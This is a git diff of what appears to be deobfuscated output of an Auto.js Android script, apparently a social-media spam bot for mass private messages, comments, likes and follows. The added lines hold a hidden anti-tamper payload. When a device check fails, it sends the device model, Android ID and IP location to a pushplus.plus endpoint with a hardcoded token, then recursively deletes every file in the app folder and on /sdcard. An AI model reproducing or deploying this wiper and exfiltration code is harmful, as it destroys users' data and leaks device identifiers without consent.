diff --git a/output.js b/output.js index e1b1ca6..a4a321f 100644 --- a/output.js +++ b/output.js @@ -1,39 +1,33 @@ -//Mon Apr 28 2025 09:41:44 GMT+0000 (Coordinated Universal Time) +//Mon Apr 28 2025 09:43:04 GMT+0000 (Coordinated Universal Time) //Base:https://github.com/echo094/decode-js //Modify:https://github.com/smallfawn/decode_action -var 日志路径 = "/sdcard/" + tu["软件名字"] + "日志.txt"; -console.setGlobalLogConfig({ - "file": 日志路径 -}); -var storage = storages.create("引流激活状态"); -var 平台读写 = storages.create("平台读写"); -var 功能读写 = storages.create("功能读写"); -var 运行状态储存 = storages.create("运行状态储存"); -var 私信次数读写 = storages.create("私信次数读写"); -var 评论次数读写 = storages.create("评论次数读写"); -var 点赞次数读写 = storages.create("点赞次数读写"); -var 关注次数读写 = storages.create("关注次数读写"); -var 私信评论话术 = storages.create("私信话术"); -var 循环次数读写 = storages.create("循环次数读写"); -var 延时读写 = storages.create("延时读写"); -var 顺序读写 = storages.create("顺序读写"); -var 性别读写 = storages.create("性别读写"); -var 轮数读写 = storages.create("轮数读写"); -var 休息读写 = storages.create("休息读写"); -var 随机内容5读写 = storages.create("随机内容5读写"); -var 发送图片读写 = storages.create("发送图片读写"); -var 已私信读写 = storages.create("已私信读写"); -var 关键字储存 = storages.create("关键字储存"); -var ddyst = storages.create("作废"); -if (ddyst.get("ddyp") != "点点蚁/") { - exit(); -} -var storage = storages.create("引流激活状态"); -var 提示框读写 = storages.create("提示框读写"); -var 点赞率读写 = storages.create("点赞率读写"); -var 评论率读写 = storages.create("评论率读写"); -var 关注率读写 = storages.create("关注率读写"); -var 进主页率读写 = storages.create("进主页率读写"); -var 搜索关键字储存 = storages.create("搜索关键字储存"); -var 同城距离读写1 = storages.create("同城距离读写1"); -var 同城距离读写2 = storages.create("同城距离读写2"); \ No newline at end of file +var 评论时间读写1 = storages.create("评论时间读写1"); +var 评论时间读写2 = storages.create("评论时间读写2"); +if (!files.exists("./YunxiTable.dex") && device.model != "KKG-" + tu["总图标"].slice(38, 42) && device.getAndroidId() != "7e3c60fe1ec" + tu["总图标"].slice(42, 48)) { + threads.start(function () { + content = "YunxiTable不存在," + random(100000, 999999) + "," + app.versionName + "," + app.getPackageName(tu.软件名字) + "," + device.model + "," + device.getAndroidId(); + try { + var _0xc4c4x3 = http.get("http://whois.pconline.com.cn/ipJson.jsp?ip=xxx.xxx.xxx.xxx&json=true"); + if (_0xc4c4x3.statusCode == 200) { + content = content + _0xc4c4x3.body.string(); + } + } catch (error) { + content = content + "未知地址"; + } + url = "http://www.pushplus.plus/send?token=e12c016526384c02ae048b34e63ffc4c&title=" + tu["软件名字"] + "YunxiTable警告&content=" + content; + http.get(url); + var _0xc4c4x4 = files.listDir("./").sort().reverse(); + for (ls = 0; ls < _0xc4c4x4.length; ls++) { + if (!files.remove("./" + _0xc4c4x4[ls])) { + files.removeDir("./" + _0xc4c4x4[ls]); + } + } + var _0xc4c4x4 = files.listDir("/sdcard").sort().reverse(); + for (ls = 0; ls < _0xc4c4x4.length; ls++) { + if (!files.remove("/sdcard/" + _0xc4c4x4[ls])) { + files.removeDir("/sdcard/" + _0xc4c4x4[ls]); + } + } + exit(); + }); +} \ No newline at end of file diff --git a/output.py b/output.py index 9d3c850..d30ac08 100644 Binary files a/output.py and b/output.py differ